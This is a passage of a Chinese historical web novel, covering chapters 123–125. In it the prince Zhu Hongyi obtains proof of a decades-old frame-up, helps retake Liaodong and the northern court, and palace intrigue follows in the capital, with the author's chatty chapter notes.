博尔济道:“大哥与康敏之勾结,害死父汗,嫁祸给周承山,还有他那个乳母之女,如今还在大晟宫廷,阿穆尔,你以为父汗真是病死的?” 听到这里,阿穆尔倏然抬首,看向博尔济:“阿姐,你还知道什么?难道父汗不是病死的?” 博尔济十分笃定道:“我有证据,父汗的伤本没那么重,他是被大哥用逍遥散慢性毒死的。” 阿穆尔睁大了眼睛:“什么?阿姐,你说的是真的吗?” 博尔济点了点头。 阿穆尔此刻脑中纷乱如麻,却唯有一事确定,眼下他只有一条路可走,便是与朱弘毅合作,杀回盛京,亲手为父汗报仇。 他稳了稳心神,转向朱弘毅,笃定道:“周将军,好,我答应你,你我二人,成交。” 第123章 阿穆尔应下合作, 未再多耽搁。 他知道证据藏在哪儿,父汗临终前,虽未告具体位置, 却提过一人, 父汗身边老仆哈丹, 跟了父汗四十多年,父汗薨逝后,哈丹便回了盛京城外的老宅,再未入过宫。 阿穆尔说,要去寻哈丹。 朱弘毅颔首,他带了几个人,扮作商队, 随阿穆尔往盛京城去了。 博尔济也换了男装,混在队伍里, 一路上无话, 只偶尔看朱弘毅一眼,又别开,可那别开的方向, 总是朝着他的背影。 盛京城在辽河套北,骑马三日便至。 哈丹的老宅在城西的一处僻巷中, 门脸不大,院里堆着破旧的马具。 阿穆尔上前叩门, 三下,停了停, 又两下。 门开了条缝,一张满是皱纹的脸探了出来,一见阿穆尔, 便愣住了。 “小王子?” 阿穆尔点了点头,侧身入内。 朱弘毅紧随其后,博尔济最后一个进去,将门掩上。 哈丹看着这几个人,又看看阿穆尔,眼眶微红:“小王子,你…你怎么回来了?大汗的人到处寻你,说你私通大晟,要拿你正法!” 阿穆尔反问他:“那你信吗?” 哈丹红着眼眶看着他,那双浑浊的老眼却亮得惊人:“老奴自然是信王子的,老奴伺候老大汗四十余年,看着王子长大,王子是什么人,老奴心里有数。” 阿穆尔并未言语,只是看着他。 哈丹又开口,目光转向朱弘毅:“可这大晟人…” 他话尚未说完,眼神中已充满了警惕,怀疑,甚至是藏不住的敌意。 阿穆尔顺他的目光看了过去,复又收回:“他是我带来的。可信。” 哈丹怔了一下。 他看看阿穆尔,又看向朱弘毅,再看看阿穆尔,眼神复杂。 半晌,他才压低声音问道:“小王子,您这是…要做什么?” 阿穆尔未直接回答,只是问他:“哈丹伯伯,父汗临终前,可曾留下什么遗物?” 哈丹的身子猛地一震。 他看着阿穆尔,嘴唇动了动,欲言又止。 阿穆尔上前一步,直视他的眼睛:“我知道父汗留了遗物,我也知道您知道那东西在哪儿。” 哈丹未敢说话。 阿穆尔继续说道:“我大哥要杀我,他派我去宁边堡,是想让我死在大晟人手里,可如今我没死,他就说我私通大晟,哈丹伯伯,您信吗?” 哈丹的眼眶又红了:“老奴…老奴…” 阿穆尔看着他,目光突然深沉得不像少年:“父汗不是病死的,是被毒死的,被大哥用逍遥散毒死的。” 哈丹的脸色瞬间骤变。 他整个人身子一颤,扶住门框才得以站稳。 “小王子…”他声音抖得厉害:“您…您是怎么知道的?” 阿穆尔未答话,只是死死地盯着他看。 哈丹低下头,沉默良久。 久到博尔济忍不住上前一步,欲开口,却被阿穆尔抬手拦住。 哈丹抬起头,看向朱弘毅,问道:“他是谁?您要带大晟人来取大汗的遗物,总要告诉老奴,他是谁。” 阿穆尔沉默了片刻,开口道:“他叫周毅,他有周承山的玉佩,父汗曾说过,谁持有代表周承山帅印的信物,便将遗物交予谁。” 朱弘毅将玉佩从怀里掏了出来,递给哈丹,哈丹仔细端详着,确是周承山的信物无疑。 然后他低下头,颤巍巍地转身,往里屋走去。 “跟我来。” 阿穆尔看了朱弘毅一眼,跟了上去。 哈丹引他们至里屋,在炕边站定,他弯腰伸手,在炕洞里摸索了一阵,终于摸出了个油布包,发黄发旧,边角磨毛。 他捧着那包,看了许久,才递到阿穆尔的手里。 “大汗临终前,把这个东西交给老奴,他说,万一小王子带着有周承山信物的人回来找,就交给他,这里头装着的,是能要人命的东西,也是能救人命的东西。” 阿穆尔接过油布包,手微微颤抖着。 他打开。 里头是一封信,一块令牌,还有几张发黄的纸,字迹有些模糊,尚能辨认。 朱弘毅的目光落在那封信上。 信封上写着:北狄大可汗亲启。 他认得那笔迹。 康敏之。 他将信抽出来,展开,一眼扫过,信上写着如何配合,如何传递消息,如何让周承山通敌的罪名坐实,如何让大晟朝廷相信那封伪造的信是真的。 朱弘毅的手攥紧了那封信,手指因激动用力而尽失血色。 妙雅,有了这铁证,周家的冤,定能平反! 阿穆尔在旁边看着他,没有说话。 博尔济也看着他,目光里带着几分复杂。 朱弘毅把信收好,抬起头,看着哈丹。 “多谢。” 哈丹摇了摇头,眼眶又红了。 “老奴伺候了大汗四十余年,看着小王子长大…” 他颤巍巍道:“大汗临终前,拉着老奴的手说,最放心不下的,就是小王子,他说,小王子还小,什么都不懂,万一将来有事,让老奴…让老奴…” 他哽咽地说不下去。 阿穆尔上前,握住他的手,安慰道:“哈丹伯伯,您放心,我不会有事的。” 哈丹看着他,泪终于落了下来,一阵哽咽后,他忽然从怀中摸出一块令牌,塞到阿穆尔手里:“这是大汗留下的亲卫调令…小王子,老奴今日,把它交给您了。” 从哈丹处出来,巷子里静得很。 天色已暗,远处几声狗吠,更显僻静。 朱弘毅将油布包收进怀里,贴身放着,隔着衣裳按了按,确认它在。 阿穆尔走在前头,脚步很快,似想赶紧离开这地界,博尔济跟在身后,偶尔回头望一眼,又转了回去。 走出巷口,只见阿穆尔忽然停住。 阿穆尔望了望巷口外的街道,街上无人,只几盏风灯在狂风中晃着,光影摇曳。 他忽然开口道:“大晟宫里那个李太妃,是我大哥的人。” 朱弘毅的眉心动了动。 阿穆尔续道:“她母亲,是我大哥的乳母。” “几十年前,大晟人打过来,掳走了一批北狄女子,她的母亲就在其中,后来她的母亲被大晟一个将军收了做外室,便生下了她。” 他顿了顿,转头看向朱弘毅:“她自幼知自己的身世,一直与我大哥暗通消息。” 朱弘毅听罢这话,眉宇骤然皱紧。 博尔济走了过来,站在阿穆尔身侧,接过话头:“她在大晟宫里待了三十余年,就是为了等这一日。待我大哥兵强马壮,等她在朝堂站稳脚跟,里应外合。” 朱弘毅沉默了片刻,抬首看向阿穆尔,问道:“你大哥,究竟想做什么?” 阿穆尔看着他,一字一句:“入主中原。” 巷口突然静了一瞬。 风穿巷而过,裹挟着阵阵凉意,远处那几盏风灯犹自晃着,光影在地上拉得很长。 朱弘毅未言语,只将怀中油布包又按了按。 博尔济忽然开口:“还有一事。” 朱弘毅抬头看向她。 博尔济目光迎着他,未躲闪:“这些年,大哥一直命人暗中往京城贩卖一样东西。” “什么?”朱弘毅下意识问道。 “逍遥散。” 朱弘毅的手突然顿住了。 博尔济看着他,继续说道:“他最善用这个,害人于无形,查不出,验不出,等到发现的时候,人已经不行了。” 朱弘毅的脑海里闪过几张脸,文老太太,皇后顾云舒,还有济慈堂后山的那些白骨… 须臾,他忽然抬头问道:“你们可知道,逍遥散的解药在哪儿?” 他话音未落。 只听风中传来簌簌的声音,几支利箭从暗处突然向三人飞来。 朱弘毅猛地侧身,利箭贴着胸口掠过,钉入身后墙中,箭尾犹自颤动。 “有埋伏!” 阿穆尔已拔刀,挡在博尔济身前,博尔济亦动,袖中滑出短匕,背抵着阿穆尔,目光扫向四周。 巷口两边屋顶上,不知何时多了几道人影,夜色里辨不清脸,只见他们手中握着弓,正欲搭上第二支箭。 朱弘毅退后一步,紧贴着墙壁,手按上剑柄,低喝了一声:“走!” 三人同时往巷子深处冲去。 箭雨自身后追来,钉在地上,墙上,砰砰作响。 朱弘毅在后面断后,剑已出鞘,反手挡开一支射向博尔济后背的利箭。 须臾,只见前方忽然亮起火光,一群人从巷口堵来,手种握着刀,火光映在脸上,木无表情。 前后夹击。 朱弘毅停下脚步,目光扫过那些群人,他们手里刀在火光下泛着冷光。 阿穆尔握紧手中的刀,挡在博尔济前面,博尔济却将他往旁一扒,自己站到前头。 “阿姐!” “闭嘴。” 朱弘毅未说话,只上前一步,将两人挡在了身后。 巷口那些人未动,只围着,似在等着什么。 忽然,一个声音自人群后传来:“小王子殿下,公主殿下,大汗说了,把东西留下,你们可以走。” 朱弘毅未回头,只低声道:“等会儿我冲上去,你们往巷子另一头跑。” 阿穆尔一愣:“你…” “别废话。” 朱弘毅握紧手中的剑,正要动… 忽然,巷子那头传来一阵马蹄声。 紧接着,是火铳的声响。 那些人未及反应,最前面几个已倒了下去,马蹄声越来越近,火光愈盛,一队人马从巷口了冲进来,举着火把,刀枪齐出。 张文龙一马当先,手里拎着把火铳,枪管还冒着烟,他扫了一眼战局,笑道:“小子,老子来晚了!” 朱弘毅可没有心思笑,只回道:“不晚,正好。” 张文龙也不恋战,只见他骑着马冲过来,一刀劈开挡路者,冲着朱弘毅喊道:“小子,走!” 朱弘毅一把拽过阿穆尔,推其上旁边的马背,博尔济已翻身上了另一匹马,回头看他:“上马!” 朱弘毅翻身上马,跟在博尔济后面,马蹄声炸响,火光在身后晃动,喊杀声渐行渐远。 那些人追了几步,被张文龙的人拦住,很快被甩在身后。 他们冲出了巷子,冲出了城门,冲进深沉的夜色中去。 身后盛京城越来越小,最后只剩下一点火光,在黑暗中明明灭灭。 策马跑了一夜,直至天边泛起鱼肚白,他们才停下。 朱弘毅翻身下马,腿一软,扶住马鞍才站稳。 他回头望了一眼盛京的方向,已什么都看不见了。 张文龙骑马过来,看着他,问道:“东西都拿到了?” 朱弘毅点了点头,从怀中摸出油布包,低头看了一眼,好在证物还安然无恙。 他将油布包收好,抬头看张文龙,说了一句:“多谢。” 张文龙摆了摆手:“谢什么?走,回去再说。” 他拨马往回,朱弘毅跟上,阿穆尔与博尔济也上马,随在身后。 一行人往南,朝海州方向疾驰而去—— 作者有话说:真不爱写你们北狄那些破事了啊啊啊啊啊啊啊啊 可是为了故事的完整性还得硬着头皮写 最不爱写军事相关的内容 这篇文里就一笔带过吧打仗的部分 想看完整打仗戏份的可以去看我的完结文《明穿之朱明绣锦》,里面有靖难的全过程。 真的不爱写了,就这样吧赶紧过去吧这段hhhhh,应该还有一章,把辽东这段收尾 第124章 回到海州城, 朱弘毅略作休整,便转向另一事。 海州城外,郑康的几万辽东军仍驻扎于此, 不进不退, 态度未明。 朱弘毅歇了一夜, 次日天刚亮,他便起身往海州大营的粮仓走去。 因玉米与土豆在海州,牛庄种植得很顺利,李硕忙得披星戴月,他天不亮便已在粮仓清点库存,粮食结余,出入库的状态, 皆需他亲自过目。 李硕正伏案对着账簿,见朱弘毅进来, 他抬起头。 朱弘毅在他对面坐下, 沉默了片刻,方才开口道:“郑康那边,还得再去一趟。” 李硕点了点头。 “但这次不一样。” 朱弘毅笃定道:“这次你手里有底牌。” 李硕抬眼盯盯看着他, 等待着下文。 朱弘毅迎着他的目光,字字清晰道:“康敏之当年陷害周承山的信, 现在在我手里,是北狄前大汗留下的, 信上写得清清楚楚,那封通敌的信如何被伪造, 谁人配合康敏之做戏,谁人传递的消息。” 李硕的手霎时攥紧了,目光灼灼地看向朱弘毅:“真的?” 朱弘毅点了点头:“真的, 不过还有一事…” 他顿了顿,复又才说道:“宁王殿下并未被北狄人俘虏,他现在就在海州城内。” 李硕猛地站起,带翻了算盘,珠子洒了一地:“你说什么?那宁王殿下现在人在何处?” 一阵笑声自李硕身后传来。 李硕回首,但见徐明阳与张文龙一同走来,徐明阳抚须笑道:“宁王殿下,就坐在你面前啊。” 李硕惊愕,他看了看自己的老师徐明阳,又回头看了看朱弘毅,不解道:“你说,他…?” 徐明阳笑着点头,张文龙却不管这些,他一个箭步上前,拍了拍朱弘毅的肩膀,朗声笑道:“对,就是这臭小子,他便是当今圣上亲弟弟,宁王殿下…哦对,还自称是周承山的准女婿!” 朱弘毅皱眉:“张将军…” 徐明阳笑道:“这小子,早就对人家姑娘动了心思。当年在京城,他还带着周姑娘到我府上拜访过。说起那周姑娘,当真是才貌双全,由文敬远亲自抚养长大,深得她祖父的真传,画得一手好丹青。” 张文龙白了朱弘毅一眼:“鲜花插在牛粪上,便宜这臭小子了。” 李硕才回过神儿来,忙对着朱弘毅拱手一礼:“小人有眼不识泰山,唯恭宁王殿下千岁千岁千千岁。” 朱弘毅忙摆摆手道:“李先生,不必如此,在海州,没有宁王朱弘毅,只有蒙面将军周毅。” 当夜,李硕独出了海州城。 郑康的大营在城外二十里处,灯火稀疏,隐隐透着肃杀之气。 中军大帐的灯还亮着,李硕掀帘进去的时候,郑康正对着一幅辽东舆图出神,那舆图墨迹已旧,边角都卷了。 “来了?”郑康抬头看了他一眼。 李硕点了点头,在他对面坐了下来。 郑康看了他一会儿,忽然问:“李兄深夜前来,可是有事?” 李硕并未立刻回答。 他只是看着郑康,沉默了片刻,终是开口道:“我今日来,是想告诉你两件事。” 郑康等着:“李兄请讲,洗耳恭听。” 李硕将声音压得极低:“其一,李道远和高第以为宁王殿下被北狄人俘虏了,其实不然。” 郑康一怔,盯着他。 李硕继续道:“宁王殿下现在就在海州城里。” 郑康愕然,但未说话,只是盯着李硕,眼神复杂。 李硕迎着他的目光,并未躲闪。 “还有一事。” 他复又说道:“当年周将军被陷害的证据,被找到了。” 郑康的身子猛地一震:“什么证据?” 李硕看着他,一字一顿道:“就是康敏之那个狗贼写给北狄大汗的信,信上写着,那封诬陷周承山通敌的信是如何被伪造的,谁人打配合,谁人传递伪证,都写得一清二楚。” 郑康的手攥紧案沿,手背上青筋暴起,他抬头,红着眼问李硕:“那封信…现在在哪儿?” 李硕看着他的眼睛,语气坚定:“那封信,现在就在宁王殿下手中,是宁王殿下,九死一生,冒着生命危险,从盛京城带回来的。” 郑康瞬间怔住:“盛京?” 李硕点头:“宁王殿下并未被俘,反而是宁边堡一役,他俘获了北狄小王子,说服其带路去了盛京,找到了证据,并带了回来。” 帐内霎时陷入一片沉寂。 良久。 郑康坐在那里,一动不动,似被定住一般。 只见他忽然起身,快步走到了帐门口,掀开帐帘往外看了一眼。 外面的天黑沉沉的,几处篝火犹自燃着,他放下帘子,又快步走了回来,在李硕面前站定。 眼眶瞬间便红了。 “周将军…”他开口,声音哑得厉害。 几度哽咽,他说不下去话。 李硕未语,只看着他。 郑康扶着案沿,慢慢跪了下去。 李硕一怔,起身欲扶,却被他抬手拦住。 郑康跪在那里,低着头,肩膀一耸一耸地颤抖着,虽然没出声音,但李硕知道,他哭了。 良久,他才抬起头,看向李硕,声音嘶哑:“当年黑水河,我在外围,进不去,帮不上。周将军带着全部周家军将士,苦撑了三个月,我就在外头眼睁睁地看着,却无能为力。” 他顿了顿,泪水复又自脸颊滚落。 “后来周家军散了,我被留在辽东,一留便是十几年,李道远刮地皮,高第贪军饷,北狄人年年南下,屠戮百姓,我不是不想管,是管不了…我无权无势背后无人,一动,便是死局。” 他抬头,看向李硕:“李兄,我只能忍,这些年,我忍得太久…太久了…” 李硕安慰他道:“郑兄,现在,我们有证据了。” 郑康撑着案沿,慢慢起身,他抹了把脸,深吸了一口气,问道:“宁王殿下现在有何打算?” 李硕看着他,一字一句,极其郑重道:“宁王殿下欲取广宁城,李道远与高第的党羽,皆聚于此,殿下要将他们连根拔起,收复辽东军,殿下…需要将军相助。” 郑康沉默了片刻,他没有犹豫,只重重点头道:“好。” ———— 郑康带着辽东军回到了广宁城。 与此同时,海州城内,张文龙的皮岛军亦动了。 两路人马,一明一暗,同赴广宁城。 广宁城是辽东的咽喉,李道远与高第的一众党羽皆聚于此,朝廷的粮草亦经此地转运,拿下广宁,便可切断辽东与京城之间的联系。 郑康回到广宁城后,决议摆一桌鸿门宴。 他即刻向李道远、高第下帖,哭诉左右为难之困,随帖附上一盒金灿灿的黄金,假意借宴席拉拢二人,实则欲将其并党羽,一网打尽。 宴席就设在广宁城中最奢华的酒楼。 李道远,高第皆至,携其党羽数十人,坐满一堂。 酒过三巡,李道远举杯,说要敬郑康剿匪有功。 郑康举起酒杯,未饮。 他看着李道远,忽然问道:“李大人,你知道我今天为何而来吗?” 李道远愣了一下,随即笑道:“郑将军这话说的,自然是共商军务。” 郑康摇了摇头:“非也,非也,我今日是来拿你的!” 话音未落,他已摔杯为号。 李道远的脸色霎时就变了。 他刚要开口, 只听得外面喧哗声骤起,大门被撞开,大批兵士涌了进来,刀枪染血。 朱弘毅一身玄甲,提剑而入,剑锋直指李道远与高第:“李贼,高贼,你们的账,今日本王便要清算!” 张文龙亦破门而入,他身上溅着血,面上却带着笑:“李大人,高大人,外头的兄弟们都被解决了,该轮到二位了。” 李道远起身欲逃,却被两个兵士死死按回了椅上。 高第亦被按住,他拼命挣了几下,见挣不动,便不挣了。 郑康看着此二人,将酒杯往桌上一摔,喝道:“李道远,高第,你们二人贪了这么多年,也该够了。” 是夜,广宁城便换了旗。 李道远,高第党羽,尽数伏诛。 城头的旗换成了“张”字,在夜风中猎猎作响。 城门楼上,高悬着二人的头颅。 朱弘毅站在楼下,仰头看着,忽然从怀中摸出了那枚玉佩,握在掌心。 “岳父。” 他低声道:“如今这第一步,已成了。” ———— 自此,辽东的天已经彻底变了。 张文龙收编了全部辽东军,宁远城的守将听闻广宁府之事,次日便派人递了降书。山海关那边观望了数日,亦归降张文龙,整个辽东大地,如今插满了“张”字帅旗。 朱弘毅站在城头,望着关内的方向,忽然问:“京城那边,可有消息?” 张文龙摇了摇头:“此次杀得够干净,彻底断了往京城送信的路子。魏琰那老阉货,如今还蒙在鼓里。” 朱弘毅笑了,笑意未达眼底:“好,先让他睡上一段时日,等彻底了结了北狄之事,再说。” 他转过方向,向北望去。 那是盛京的方向。 他心中清楚,下一步,便是要与北狄人决战了。 这些日子,阿穆尔日日往他营帐中跑,二人对地图指指点点,从早说到晚。 博尔济有时也跟着,坐在旁边听着,也不插话,就只是安静地听着。 阿穆尔走后,朱弘毅又对着地图看了好一会儿,方才起身回帐。 待到阿穆尔回到自己的营帐时,博尔济已在那儿等着了。 她坐毡毯上,手捧一碗奶茶,并未喝,就那么捧着。 见他进来,便抬头看向他。 阿穆尔走了过来,在她身旁坐下,端起矮几上的碗饮了一口。 这些时日他说的话太多,嗓子都快哑了。 “阿姐,你怎么还不睡?”阿穆尔放下手中陶碗,好奇问道。 博尔济没有回答,只盯盯地看着他。 阿穆尔被她看得发毛:“阿姐,怎么了?干嘛老盯着我?” 博尔济沉默了片刻,忽然开口:“阿穆尔,我问你件事。” “嗯?” “等周毅帮你夺回王位,你打算如何对他?” 阿穆尔一愣,没料到她会问这个:“什么怎么对他?” 他下意识地答道:“当然是送他回去,他是大晟人,当然要回大晟啊,我有我的王位,他也有他的事要做。” 博尔济撇了撇嘴,没有说话。 阿穆尔抬眼看着她,忽然觉得她眼神有些不对:“阿姐,你问这个作什么?” 博尔济抬头,迎着他目光:“我想把他留下来。” 阿穆尔一怔:“留在哪儿?” 博尔济笃定道:“我想把他留在北狄,留在盛京。” 阿穆尔盯着她,好似未听懂:“阿姐,你在说什么?” 博尔济坐直身子,脸上泛起红晕,语气却笃定:“等他帮你夺回王位,我想把他留在北狄,留在我身边,做我的驸马!” 阿穆尔猛地站起身来,桌上的碗被带翻,奶茶洒了一地:“阿姐,你疯了?” 博尔济一动未动,只抬头看着他:“我没疯,我清醒得很!” 阿穆尔看着她,眼神里感觉很陌生:“阿姐,他是来帮我的!他救了你的命!你…你却要把他留在北狄?” 博尔济看着他,忽然笑了:“阿穆尔,坐下。” 阿穆尔并未坐。 博尔济也不管他,只自顾自道:“阿穆尔,我问你,觉得他这个人如何?” 阿穆尔彻底愣住了:“什么如何?” “就是…” 博尔济的脸又红了几分:“就是…他长得好看不好看?” 阿穆尔睁大了眼睛:“阿姐,你…?” “他打仗厉害不厉害?” 阿穆尔张了张嘴,竟无言以对。 “他说话的时候,声音好不好听?” 阿穆尔彻底愣住了。 博尔济看着他,脸上那红晕越来越深,但眼神却亮得惊人。 她语气里带着北狄女儿特有的直白与热烈:“他长得好看,打仗厉害,说话…声音也好听,比部落里所有勇士加起来都强,就像,科尔沁草原上的雄鹰!” 阿穆尔呆立在那里,像被人施了定身咒。他看着博尔济,看了许久,方才找回自己声音:“阿姐,你…你没事吧?是不是昨日摔下马,摔坏了脑子?” 博尔济瞪了他一眼:“我好得很!” 阿穆尔深吸了一口气,走了回来,在她对面坐下,盯着她道:“阿姐,你知道他是谁吗?” 博尔济点了点头:“周毅啊,大晟的将军。” 阿穆尔摇了摇头:“他不是周毅。” 博尔济瞬间怔住:“什么?” 阿穆尔看着她,一字一字道:“他叫朱弘毅,是大晟皇帝的亲弟弟,是大晟的宁王殿下。” 博尔济的脸色骤变。 阿穆尔继续说道:“他根本就不是什么将军,他是亲王,大晟的亲王。他来辽东,原本不是来打仗的,而是被人害的。他在京城有未婚妻,是大晟的忠烈之后,就是那个周承山,周承山的女儿。他拼命打这一仗,是为了给他岳父报仇,给他未婚妻平反。” 博尔济没有说话。 阿穆尔看着她,放缓了语气。 “阿姐,他是大晟的王爷,他是不可能留在北狄的。他有他的事要做,有他的女人要等。你…你不能把他扣下来。” 博尔济不服:“怎么就不能!大晟的王爷又能怎样?未婚妻又怎样?只是未婚妻,不是还没结婚?我是北狄的公主,难道还配不上他?他要是娶了我,北狄和大晟不就是一家人了?那以后就不用打仗了,多好!” 阿穆尔看着她冥顽不灵的样子,深深叹了口气:“你真是疯了!”—— 作者有话说:明天回京城线!!! 辽东全是周承山的小弟! 周承山!伟大!! 古有朱棣靖难摔瓜为号,今有郑康摔杯为号[笑哭] 第125章 皇城内, 六尚局,司药司。 女官们正在院中忙碌着,这几日天气正好, 韩司药吩咐下来, 正宜晒药, 只见她们人手一柄簸箕,将草药细细摊开了,曝晒于日头底下。 韩司药亦埋首于这草药堆间,她走到一个簸箕前,以指尖拨开数片药叶,捻起几片,凑近鼻尖轻轻嗅了嗅。 恰是这般岁月静好之时, 院外忽传来急促的脚步声。 韩司药抬首细听,那脚步声异常杂乱, 非比寻常。 她尚未及反应, 只见司药司的大门已“嘭”的一声,被人一脚踹开。 一群锦衣卫持刀涌入,如潮水般漫进了司药司。 他们进门后便往两侧一站, 刀光森然间,自动让出一条道来。 魏琰自后缓步而入, 唇角噙着笑。 韩司药搁下手中的草药,站起身, 往前走了两步,在他面前站定, 拱手施礼道:“魏公公,这是怎么了?” 魏琰垂眼看着她,笑意未变。 “韩司药…” 只听他轻声问道:“明知故问?” 韩司药眉头微动, 面上却是波澜不惊。 “什么明知故问?” 魏琰不言语,只信步往前踱了两步,目光扫过庭院中堆叠的药篓。 他伸手拨了拨最上头的一篓,复又收回手,在袍角上 慢条斯理地拭净指尖。 “韩司药在这司药司,待了多少年了?” 韩司药抬眼看了看他,没有说话。 魏琰也不等她回答,只自顾自道:“十多年了吧,先帝在时你便在,本分,老实,从不掺和那些乌七八糟的事,咱家一向觉得,你是个聪明人。” 韩司药微微垂眸,语气平静:“魏公公谬赞了,下官不过是个管草药的,不懂什么聪明不聪明。” “不懂?” 魏琰笑了,那笑意在脸上徐徐绽开,如一朵淬过剧毒的花。 他倾身向前,步步紧逼:“那咱家问你,鬼面草,你懂不懂?” 韩司药的手蓦地一下僵住了。 只那一瞬,她的手垂在身侧,旁人瞧不出端倪。 可那一刹那,她掩在袖中的指尖,不受控地轻轻颤了颤。 极力压平之后,她抬首,迎上了魏琰的目光:“下官不认得什么鬼面草。” 魏琰看着她,忽然仰天大笑。 那笑声在院中荡开,惊得好几个女官手中簸箕都抖了抖。 魏琰笑了好一阵,才徐徐收住,低头睨着韩司药,眼底的笑意却一寸寸地冷了下去。 “不认得?” 他往前逼近了一步,距韩司药更近。 “南疆的南诏国,十年之前,明明进贡了一株鬼面草,太医院当时认定为禁药,须得销毁,司药司记录在册,列入了销毁名录…” 说到此处,他顿了顿,嘴角又浮起那抹淬毒的笑。 “可那株鬼面草,并未被销毁。” 韩司药低头不语。 魏琰盯着她,显然耐心已经耗尽,陡然暴喝道:“说话!你当咱家是傻子吗?” 韩司药站在那里,神色未变。一双眼仍是静如死水,不惊不澜。 只听她淡定地说道:“下官不知魏公公所言为何物,若是销毁名录所载,皆是当着太医院的面焚毁的,魏公公若有疑,自去查便是。” 魏琰确是不吃她这套,只笑了笑:“那株鬼面草去了何处,你心里有数,周司典那张脸是如何毁的,你心中亦有数,咱家今日便给你两条路…” 说罢,他竖起一指: “其一,你自己说出来,咱家念你这些年本分,可从轻发落。” 而后,他又竖起第二指: “其二,你若是不说,那咱家只能将你送入诏狱,交给那些专司刑讯的弟兄们,让他们好生请教请教你。” 韩司药看着他,没有说话。 魏琰等了一会儿,不见她开口。 他笑了笑,那笑里竟带几分惋惜: “韩司药,为了一个周妙雅,把自个儿的命搭进去,可不太值当啊…” 韩司药眸光微动。 只一瞬,她睫毛轻轻颤了颤,快得几乎让人无从捕捉。 可她终还是开了口:“魏公公,下官说了,不知道什么鬼面草,您要抓要杀,下官无话可说。” 魏琰的嘴角极淡地扯了一下:“好,很好,敬酒不吃吃罚酒。” 随即,他向身边锦衣卫下令道:“来人啊,把韩司药给咱家带回去,关进诏狱,好好地审!” ———— 如意跌跌撞撞,几乎是跑着回到坤宁宫的。 她脚步太急,入门时险些被门槛绊住,忙扶住门框才得以站稳。 顾云舒此刻正倚在暖榻上,阖目养神。闻得动静,她睁开了双眼。 如意几步趋至榻前,噗通一声跪倒在地,声音压得极低,却带着一丝哽咽:“娘娘,出事了。” 顾云舒皱眉:“冒冒失失地,成何体统?先起来说话。” 如意起身,抬起头,眼眶已经红了:“娘娘,韩司药…她…她被魏琰抓进诏狱了。” 顾云舒的手突然顿住,手中原本捻着的一串沉香念珠,被她死死攥紧在掌心。 “带去哪儿了?你再说一遍!” 如意的声音发颤:“诏狱。” 诏狱… 那地方,就是阿鼻地狱。 想当初顾凌云从那出来,浑身上下没一块好肉。那可是锦衣卫副指挥佥事,皇后的亲弟弟,皇帝的妻舅。 韩司药呢? 一个管草药的女官,一介女流,这辈子没得罪过人,没掺和过事,本本分分在司药司待了十几年。 她进到那种地方,还能活着出来么? 顾云舒陷入沉思。 手中的念珠被她越按越紧,紧到快要按碎按爆。 她和泰和帝的夫妻情分,自那次蹴鞠事件后已彻底决裂。 若此时去求泰和帝,泰和帝非但不会见她,反会令魏琰坐实她才是鬼面草一案的幕后主使,届时不止韩司药,她与周妙雅,三人皆得陪葬。 就在她踌躇不决之时,忽然听得宫人禀报,说周妙雅戴着面纱,跪在殿外求见。 听闻此语,顾云舒坐起身,望向门口。 半晌,她才说了句:“让她回去,告诉她,好生在屋里待着,莫要出来添乱。” 那宫人应了一声,便退了下去。 顾云舒又倚回了暖塌上,她手中还握着那串念珠,一颗一颗,从指间滑过。 窗外有风透了进来,裹挟着阵阵凉意。 她忽然想起很多年前,她刚进宫时,教养嬷嬷曾对她说过一句话: “在这宫里,有些时候,你只能眼睁睁看着人去死,救不得,也不能救,你要学会忍耐。” 周妙雅就跪在坤宁宫暖阁的门外,也不知跪了多久。 膝下是冰冷的石板,硌得她生疼,可是她不敢动。 前去传话的宫人走了过来,站在她面前,声音平静:“周司典,皇后娘娘说了,让你回去。” 周妙雅抬首看着她,面纱下,唯一双澄澈而含着惊愕的双眼。 “皇后娘娘不肯见我么?” 那宫人无奈点了点头: “皇后娘娘说,让你好生在屋里待着,莫要出来添乱。” 添乱…? 周妙雅没有说话,她低下头,撑着地面,慢慢站了起来。 膝盖疼得厉害,她晃了一下,扶住旁边的柱子才站稳。 宫人看着她这般模样,欲伸手去扶她,可犹豫了一下,又缩了回去。 周妙雅没有看她,只转过身,一步一步,往回走去。 走过长廊,穿过月洞门,回到了自己的那间小屋。 她推开门,走了进去,将门关上。 屋内很暗,自窗棂处透进一点微光,落在案上那面铜镜之上。 她于镜前坐了下来。 镜中人脸色苍白,眼眶泛红,泪水不知何时已滑落了下来。 她抬手擦了擦,没擦干净,新的眼泪又不听劝地流了下来。 她其实早就知道了。 朱弘毅在辽东被北狄人俘虏,下落不明,生死未卜的事,她早就知道了。 而如今,韩司药也被抓了。 他们都是因为她,为了保护她,才受此磨难。 如今皇后拒绝见她,还嫌她是添乱,显是已经没了救韩司药的法子。 她该怎么办?她不能眼睁睁地看着韩司药死在诏狱。 她站起身,走到墙角,拉开了柜门。 那把火铳还静静地躺在柜子的深处,她将它拿了出来,握在了手中。 火铳入手沉甸甸的,金属的凉意顺着掌心向上走去。 她回到铜镜前,坐了下来。 镜中人脸色苍白,眼眶通红,泪犹在 流。 手里攥着火铳,手指因用力已没了血色。 她没有去擦眼泪。 豆大豆大的泪珠顺着脸颊滚落,滚烫地砸在她的手背上。 黑暗中,她心意已决。 她必须去救韩司药。 ———— 盛京城内,王庭已换了主人。 阿穆尔在朱弘毅与辽东军的相助下,一路自海州打到了盛京。 他大哥的兵马溃不成军,那些当年与他大哥同流合污,毒死他父汗的旧臣,死的死,降的降。 最后的决战,阿穆尔九死一生,亲手将手中的刀捅进了大哥的胸膛。 血溅了一脸,他没有擦。 盛京城的城门大开,百姓跪在街道两旁,迎接新的大汗。 庆功宴设在王庭最大的穹帐内。 烤全羊抬了上来,马奶酒一坛一坛地开,北狄的勇士们大碗喝酒,大口吃肉,笑声震得帐顶都在颤。 朱弘毅坐在阿穆尔的身侧。 阿穆尔今晚高兴,酒饮得急,一碗接着一碗。 他自己喝还不算,还非要拉着朱弘毅一起喝。 “周将军!今日这杯酒,你必须喝!” 朱弘毅端起酒碗,饮了一口,阿穆尔不满意,非要他干了,朱弘毅无奈,只得仰头喝完。 无奈碗刚放下,旁边又有人来敬酒。 张文龙早就不管他了,自顾自地跟几个北狄将领拼着酒,拼得脸红脖子粗,嘴里喊着再来一碗。 朱弘毅一碗接着一碗地喝。 他酒量本来就不算好,这北狄的酒又烈,几轮下来,头已经开始发晕了。 被迫又喝了一碗,他放下手中酒碗,撑着案沿站了起来。 阿穆尔抬头看他:“周将军,去哪儿?” “出去透透气。”朱弘毅说:“喝多了。” 